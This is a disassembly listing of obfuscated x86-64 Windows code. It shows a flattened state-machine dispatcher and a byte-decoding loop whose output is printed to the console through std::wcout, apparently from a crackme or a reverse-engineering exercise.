add r11d, 1
mov edx, 0x33f561e4
jmp 0x140357ea0
cmp r14d, 0xaf88ee20
jle 0x140357fd0
cmp r14d, 0xb77e0b6e
jg 0x140358055
mov edx, esi
cmp r14d, 0xaf88ee21
je 0x140357ea0
mov edx, r10d
cmp r14d, 0xb4096d2b
je 0x140357ea0
mov edx, r14d
cmp r14d, 0xb4eb80e5
jne 0x140357ea0
mov ecx, dword [rbp + 0x108]
mov ecx, dword [rbp + 0x108]
mov ecx, dword [rbp + 0x108]
mov ecx, dword [rbp + 0x108]
mov ecx, dword [rbp + 0x108]
mov edx, 0x987c7c6a
jmp 0x140357ea0
cmp r14d, 0x14aa4530
jle 0x14035808f
mov edx, r15d
cmp r14d, 0x14aa4531
je 0x140357ea0
mov edx, r8d
cmp r14d, 0x265f9a4f
je 0x140357ea0
mov edx, r14d
cmp r14d, 0x27a71dc6
jne 0x140357ea0
mov edx, 0x14aa4531
jmp 0x140357ea0
cmp r14d, 0x844df7d3
jle 0x1403580c6
cmp r14d, 0x844df7d4
je 0x14035814e
cmp r14d, 0x987c7c6a
je 0x1403580ed
mov edx, r14d
cmp r14d, 0xa3cb2f14
jne 0x140357ea0
mov edx, r9d
jmp 0x140357ea0
cmp r14d, 0x5b997cf1
je 0x1403581b7
cmp r14d, 0x607295e5
je 0x140358195
mov edx, r14d
cmp r14d, 0x7836d3c6
jne 0x140357ea0
mov rcx, qword [rbp + 0xd8]
movzx edx, byte [rbp + 0xf0]
mov byte [rbp + rcx + 0x10], dl
mov edx, 0x1cfe128
jmp 0x140357ea0
cmp r14d, 0xb77e0b6f
je 0x1403581c4
cmp r14d, 0xdea4e068
je 0x14035819f
mov edx, r14d
cmp r14d, 0xeda07143
jne 0x140357ea0
mov ecx, dword [rbp + 0x108]
mov edx, 0x81b55a5f
jmp 0x140357ea0
cmp r14d, 0xffdaa6f0
je 0x140357e8a
cmp r14d, 0x1cfe128
jne 0x1403581ce
mov rcx, qword [rbp + 0xd8]
movzx edx, byte [rbp + 0xf0]
mov byte [rbp + rcx + 0x10], dl
mov edx, dword [rbp + 0xec]
jmp 0x140357ea0
cmp r14d, 0x81b55a5f
je 0x140358158
mov edx, r14d
cmp r14d, 0x82741981
jne 0x140357ea0
mov edx, 0x265f9a4f
jmp 0x140357ea0
movsxd rdx, dword [rbp + 0x108]
mov qword [rbp + 0xd8], rdx
mov rdx, qword [rbp + 0xd8]
mov rcx, qword [rbp + 0xc0]
movzx edx, byte [rcx + rdx]
movsxd rbx, dword [rbp + 0x108]
imul rcx, rbx, 0x4ec4ec4f
mov rdi, rcx
shr rdi, 0x3f
sar rcx, 0x24
add ecx, edi
imul ecx, ecx, 0x34
sub ebx, ecx
lea ecx, [rbx + 0x36]
mov edi, 0xc9
sub edi, ebx
and edi, edx
not edx
and edx, ecx
or edi, edx
mov byte [rbp + 0xf0], dil
mov edx, r12d
jmp 0x140357ea0
mov edx, 0xa3cb2f14
jmp 0x140357ea0
mov edx, dword [rbp + 0x108]
cmp edx, 0x65
setl byte [rbp + 0x104]
mov edx, r13d
jmp 0x140357ea0
movzx ebx, byte [rbp + 0xf8]
cmp byte [rbp + 0xfc], 0
mov edx, 0xdea4e068
mov ecx, 0xb4096d2b
cmovne edx, ecx
test bl, bl
cmovne edx, ecx
jmp 0x140357ea0
mov edx, 0x57dfecca
jmp 0x140357ea0
mov edx, 0xb4096d2b
jmp 0x140357ea0
mov dword [rbp + 0x108], r11d
mov edx, eax
jmp 0x140357ea0
mov edx, 0x33f561e4
xor r11d, r11d
jmp 0x140357ea0
mov edx, 0x844df7d4
jmp 0x140357ea0
mov edx, r14d
cmp r14d, 0xf1f97e8d
jne 0x140357ea0
mov ecx, dword [rbp + 0x8c]
jmp 0x140357630
mov ecx, eax
cmp eax, 0x3906470b
jne 0x140357630
mov rdx, qword [rbp + 0x98]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
call fcn.1402bf9e0
mov rcx, rax
call fcn.1402a4230
jmp 0x1403569c5